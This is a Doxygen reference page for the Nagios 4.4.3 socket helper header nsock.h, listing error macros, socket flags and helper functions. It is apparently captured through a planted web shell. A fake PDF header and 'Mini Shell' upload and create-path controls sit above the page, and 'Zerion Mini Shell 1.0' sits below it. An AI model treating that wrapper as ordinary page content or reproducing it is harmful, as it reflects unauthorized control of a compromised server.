%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/self/root/usr/share/nagios/html/docs/
Upload File :
Create Path :
Current File : //proc/self/root/proc/self/root/usr/share/nagios/html/docs/nsock_8h.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.5"/>
<title>Nagios: nsock.h File Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
  $(document).ready(function() { searchBox.OnSelectItem(0); });
</script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr style="height: 56px;">
  <td style="padding-left: 0.5em;">
   <div id="projectname">Nagios
   &#160;<span id="projectnumber">4.4.3</span>
   </div>
   <div id="projectbrief">Dev docs for Nagios core and neb-module hackers</div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.5 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
  <div id="navrow1" class="tabs">
    <ul class="tablist">
      <li><a href="index.html"><span>Main&#160;Page</span></a></li>
      <li><a href="pages.html"><span>Related&#160;Pages</span></a></li>
      <li><a href="annotated.html"><span>Data&#160;Structures</span></a></li>
      <li class="current"><a href="files.html"><span>Files</span></a></li>
      <li>
        <div id="MSearchBox" class="MSearchBoxInactive">
        <span class="left">
          <img id="MSearchSelect" src="search/mag_sel.png"
               onmouseover="return searchBox.OnSearchSelectShow()"
               onmouseout="return searchBox.OnSearchSelectHide()"
               alt=""/>
          <input type="text" id="MSearchField" value="Search" accesskey="S"
               onfocus="searchBox.OnSearchFieldFocus(true)" 
               onblur="searchBox.OnSearchFieldFocus(false)" 
               onkeyup="searchBox.OnSearchFieldChange(event)"/>
          </span><span class="right">
            <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a>
          </span>
        </div>
      </li>
    </ul>
  </div>
  <div id="navrow2" class="tabs2">
    <ul class="tablist">
      <li><a href="files.html"><span>File&#160;List</span></a></li>
      <li><a href="globals.html"><span>Globals</span></a></li>
    </ul>
  </div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
     onmouseover="return searchBox.OnSearchSelectShow()"
     onmouseout="return searchBox.OnSearchSelectHide()"
     onkeydown="return searchBox.OnSearchSelectKey(event)">
<a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Macros</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Pages</a></div>

<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0" 
        name="MSearchResults" id="MSearchResults">
</iframe>
</div>

<div id="nav-path" class="navpath">
  <ul>
<li class="navelem"><a class="el" href="dir_97aefd0d527b934f1d99a682da8fe6a9.html">lib</a></li>  </ul>
</div>
</div><!-- top -->
<div class="header">
  <div class="headertitle">
<div class="title">nsock.h File Reference</div>  </div>
</div><!--header-->
<div class="contents">

<p>Nagios socket helper library.  
<a href="#details">More...</a></p>
<div class="textblock"><code>#include &lt;errno.h&gt;</code><br/>
</div>
<p><a href="nsock_8h_source.html">Go to the source code of this file.</a></p>
<table class="memberdecls">
<tr class="memitem:a0719a5e25867170046a6ec49cfe83384"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a0719a5e25867170046a6ec49cfe83384"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a0719a5e25867170046a6ec49cfe83384">NSOCK_EBIND</a>&#160;&#160;&#160;(-1)</td></tr>
<tr class="memdesc:a0719a5e25867170046a6ec49cfe83384"><td class="mdescLeft">&#160;</td><td class="mdescRight">failed to bind() <br/></td></tr>
<tr class="separator:a0719a5e25867170046a6ec49cfe83384"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:aaf7eb022fc5569eac2294a3cc5af3d94"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="aaf7eb022fc5569eac2294a3cc5af3d94"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#aaf7eb022fc5569eac2294a3cc5af3d94">NSOCK_ELISTEN</a>&#160;&#160;&#160;(-2)</td></tr>
<tr class="memdesc:aaf7eb022fc5569eac2294a3cc5af3d94"><td class="mdescLeft">&#160;</td><td class="mdescRight">failed to listen() <br/></td></tr>
<tr class="separator:aaf7eb022fc5569eac2294a3cc5af3d94"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ac4c2490a03d1859f9205c10b16f2d7c2"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ac4c2490a03d1859f9205c10b16f2d7c2"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#ac4c2490a03d1859f9205c10b16f2d7c2">NSOCK_ESOCKET</a>&#160;&#160;&#160;(-3)</td></tr>
<tr class="memdesc:ac4c2490a03d1859f9205c10b16f2d7c2"><td class="mdescLeft">&#160;</td><td class="mdescRight">failed to socket() <br/></td></tr>
<tr class="separator:ac4c2490a03d1859f9205c10b16f2d7c2"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:aa4cc22bbcfa712fddb19d3e5ea9f3279"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="aa4cc22bbcfa712fddb19d3e5ea9f3279"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#aa4cc22bbcfa712fddb19d3e5ea9f3279">NSOCK_EUNLINK</a>&#160;&#160;&#160;(-4)</td></tr>
<tr class="memdesc:aa4cc22bbcfa712fddb19d3e5ea9f3279"><td class="mdescLeft">&#160;</td><td class="mdescRight">failed to unlink() <br/></td></tr>
<tr class="separator:aa4cc22bbcfa712fddb19d3e5ea9f3279"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ab5f8bab82e8bc81764892b297e716ac7"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ab5f8bab82e8bc81764892b297e716ac7"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#ab5f8bab82e8bc81764892b297e716ac7">NSOCK_ECONNECT</a>&#160;&#160;&#160;(-5)</td></tr>
<tr class="memdesc:ab5f8bab82e8bc81764892b297e716ac7"><td class="mdescLeft">&#160;</td><td class="mdescRight">failed to connect() <br/></td></tr>
<tr class="separator:ab5f8bab82e8bc81764892b297e716ac7"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a898349e46105dfde23bc44c998c882b7"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a898349e46105dfde23bc44c998c882b7"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a898349e46105dfde23bc44c998c882b7">NSOCK_EFCNTL</a>&#160;&#160;&#160;(-6)</td></tr>
<tr class="memdesc:a898349e46105dfde23bc44c998c882b7"><td class="mdescLeft">&#160;</td><td class="mdescRight">failed to fcntl() <br/></td></tr>
<tr class="separator:a898349e46105dfde23bc44c998c882b7"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a6af373c87237b1ae9b8daa40cca9d48a"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a6af373c87237b1ae9b8daa40cca9d48a"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a6af373c87237b1ae9b8daa40cca9d48a">NSOCK_EINVAL</a>&#160;&#160;&#160;(-EINVAL)</td></tr>
<tr class="memdesc:a6af373c87237b1ae9b8daa40cca9d48a"><td class="mdescLeft">&#160;</td><td class="mdescRight">-22, normally <br/></td></tr>
<tr class="separator:a6af373c87237b1ae9b8daa40cca9d48a"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:aaa52ee91165aeea3d09b1d857b6b4426"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="aaa52ee91165aeea3d09b1d857b6b4426"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#aaa52ee91165aeea3d09b1d857b6b4426">NSOCK_TCP</a>&#160;&#160;&#160;(1 &lt;&lt; 0)</td></tr>
<tr class="memdesc:aaa52ee91165aeea3d09b1d857b6b4426"><td class="mdescLeft">&#160;</td><td class="mdescRight">use tcp mode <br/></td></tr>
<tr class="separator:aaa52ee91165aeea3d09b1d857b6b4426"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a114497e2b62c538aa90760a15559a7be"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a114497e2b62c538aa90760a15559a7be"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a114497e2b62c538aa90760a15559a7be">NSOCK_UDP</a>&#160;&#160;&#160;(1 &lt;&lt; 1)</td></tr>
<tr class="memdesc:a114497e2b62c538aa90760a15559a7be"><td class="mdescLeft">&#160;</td><td class="mdescRight">use udp mode <br/></td></tr>
<tr class="separator:a114497e2b62c538aa90760a15559a7be"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a71aae04fe3edaa4032791957b97f21d7"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a71aae04fe3edaa4032791957b97f21d7"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a71aae04fe3edaa4032791957b97f21d7">NSOCK_UNLINK</a>&#160;&#160;&#160;(1 &lt;&lt; 2)</td></tr>
<tr class="memdesc:a71aae04fe3edaa4032791957b97f21d7"><td class="mdescLeft">&#160;</td><td class="mdescRight">unlink existing path (only nsock_unix) <br/></td></tr>
<tr class="separator:a71aae04fe3edaa4032791957b97f21d7"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a85e3414ae9a0618e6bc873b205e0f572"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a85e3414ae9a0618e6bc873b205e0f572"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a85e3414ae9a0618e6bc873b205e0f572">NSOCK_REUSE</a>&#160;&#160;&#160;(1 &lt;&lt; 2)</td></tr>
<tr class="memdesc:a85e3414ae9a0618e6bc873b205e0f572"><td class="mdescLeft">&#160;</td><td class="mdescRight">reuse existing address <br/></td></tr>
<tr class="separator:a85e3414ae9a0618e6bc873b205e0f572"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a408ebfcac776e538f3b8ef3d7297d3c4"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a408ebfcac776e538f3b8ef3d7297d3c4"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a408ebfcac776e538f3b8ef3d7297d3c4">NSOCK_CONNECT</a>&#160;&#160;&#160;(1 &lt;&lt; 3)</td></tr>
<tr class="memdesc:a408ebfcac776e538f3b8ef3d7297d3c4"><td class="mdescLeft">&#160;</td><td class="mdescRight">connect rather than create <br/></td></tr>
<tr class="separator:a408ebfcac776e538f3b8ef3d7297d3c4"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a7eff0af0a004baf44aad5c7c4a1e5b47"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="a7eff0af0a004baf44aad5c7c4a1e5b47"></a>
#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a7eff0af0a004baf44aad5c7c4a1e5b47">NSOCK_BLOCK</a>&#160;&#160;&#160;(1 &lt;&lt; 4)</td></tr>
<tr class="memdesc:a7eff0af0a004baf44aad5c7c4a1e5b47"><td class="mdescLeft">&#160;</td><td class="mdescRight">socket should be in blocking mode <br/></td></tr>
<tr class="separator:a7eff0af0a004baf44aad5c7c4a1e5b47"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:adcaaf011dcd99b0d782cc2b89736f2cf"><td class="memItemLeft" align="right" valign="top">const char *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#adcaaf011dcd99b0d782cc2b89736f2cf">nsock_strerror</a> (int code)</td></tr>
<tr class="memdesc:adcaaf011dcd99b0d782cc2b89736f2cf"><td class="mdescLeft">&#160;</td><td class="mdescRight">Grab an error string relating to <a class="el" href="nsock_8h.html#a698ebbdfe5e3589dd9e2d466d87ceb5a" title="Create or connect to a unix socket To control permissions on sockets when NSOCK_LISTEN is specified...">nsock_unix()</a>  <a href="#adcaaf011dcd99b0d782cc2b89736f2cf">More...</a><br/></td></tr>
<tr class="separator:adcaaf011dcd99b0d782cc2b89736f2cf"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a698ebbdfe5e3589dd9e2d466d87ceb5a"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a698ebbdfe5e3589dd9e2d466d87ceb5a">nsock_unix</a> (const char *path, unsigned int flags)</td></tr>
<tr class="memdesc:a698ebbdfe5e3589dd9e2d466d87ceb5a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Create or connect to a unix socket To control permissions on sockets when NSOCK_LISTEN is specified, callers will have to modify their umask() before (and possibly after) the <a class="el" href="nsock_8h.html#a698ebbdfe5e3589dd9e2d466d87ceb5a" title="Create or connect to a unix socket To control permissions on sockets when NSOCK_LISTEN is specified...">nsock_unix()</a> call.  <a href="#a698ebbdfe5e3589dd9e2d466d87ceb5a">More...</a><br/></td></tr>
<tr class="separator:a698ebbdfe5e3589dd9e2d466d87ceb5a"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a0469978df30212122748624f95e9c472"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a0469978df30212122748624f95e9c472">nsock_printf_nul</a> (int sd, const char *fmt,...) __attribute__((__format__(__printf__</td></tr>
<tr class="memdesc:a0469978df30212122748624f95e9c472"><td class="mdescLeft">&#160;</td><td class="mdescRight">Write a nul-terminated message to the socket pointed to by sd.  <a href="#a0469978df30212122748624f95e9c472">More...</a><br/></td></tr>
<tr class="separator:a0469978df30212122748624f95e9c472"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a64d3bcce8f97099cacceb6f11bbbc52a"><td class="memItemLeft" align="right" valign="top">int int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="nsock_8h.html#a64d3bcce8f97099cacceb6f11bbbc52a">nsock_printf</a> (int sd, const char *fmt,...) __attribute__((__format__(__printf__</td></tr>
<tr class="memdesc:a64d3bcce8f97099cacceb6f11bbbc52a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Write a printf()-formatted string to the socket pointed to by sd.  <a href="#a64d3bcce8f97099cacceb6f11bbbc52a">More...</a><br/></td></tr>
<tr class="separator:a64d3bcce8f97099cacceb6f11bbbc52a"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><p>Nagios socket helper library. </p>
<p>This is a pretty stupid library, but since so many addons and now Nagios core itself makes use of sockets, we might as well have some simple wrappers for it that handle the most common cases. </p>
</div><h2 class="groupheader">Function Documentation</h2>
<a class="anchor" id="a64d3bcce8f97099cacceb6f11bbbc52a"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">int int nsock_printf </td>
          <td>(</td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>sd</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>fmt</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">&#160;</td>
          <td class="paramname"><em>...</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">

<p>Write a printf()-formatted string to the socket pointed to by sd. </p>
<p>This is identical to dprintf(), which is unfortunately GNU only. </p>
<dl class="section note"><dt>Note</dt><dd>This function may block, so poll(2) for writability </dd></dl>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">sd</td><td>The socket to write to </td></tr>
    <tr><td class="paramname">fmt</td><td>The format string </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>Whatever write() returns </dd></dl>

</div>
</div>
<a class="anchor" id="a0469978df30212122748624f95e9c472"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">int nsock_printf_nul </td>
          <td>(</td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>sd</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>fmt</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">&#160;</td>
          <td class="paramname"><em>...</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">

<p>Write a nul-terminated message to the socket pointed to by sd. </p>
<p>This isn't quite the same as dprintf(), which doesn't include the terminating nul byte. </p>
<dl class="section note"><dt>Note</dt><dd>This function may block, so poll(2) for writability </dd></dl>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">sd</td><td>The socket to write to </td></tr>
    <tr><td class="paramname">fmt</td><td>The format string </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>Whatever write() returns </dd></dl>

</div>
</div>
<a class="anchor" id="adcaaf011dcd99b0d782cc2b89736f2cf"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">const char* nsock_strerror </td>
          <td>(</td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>code</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">

<p>Grab an error string relating to <a class="el" href="nsock_8h.html#a698ebbdfe5e3589dd9e2d466d87ceb5a" title="Create or connect to a unix socket To control permissions on sockets when NSOCK_LISTEN is specified...">nsock_unix()</a> </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">code</td><td>The error code return by the nsock library </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>An error string describing the error </dd></dl>

</div>
</div>
<a class="anchor" id="a698ebbdfe5e3589dd9e2d466d87ceb5a"></a>
<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">int nsock_unix </td>
          <td>(</td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>path</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">unsigned int&#160;</td>
          <td class="paramname"><em>flags</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">

<p>Create or connect to a unix socket To control permissions on sockets when NSOCK_LISTEN is specified, callers will have to modify their umask() before (and possibly after) the <a class="el" href="nsock_8h.html#a698ebbdfe5e3589dd9e2d466d87ceb5a" title="Create or connect to a unix socket To control permissions on sockets when NSOCK_LISTEN is specified...">nsock_unix()</a> call. </p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">path</td><td>The path to connect to or create </td></tr>
    <tr><td class="paramname">flags</td><td>Various options controlling the mode of the socket </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>An NSOCK_E macro on errors, the created socket on success </dd></dl>

</div>
</div>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by &#160;<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.5
</small></address>
</body>
</html>

Zerion Mini Shell 1.0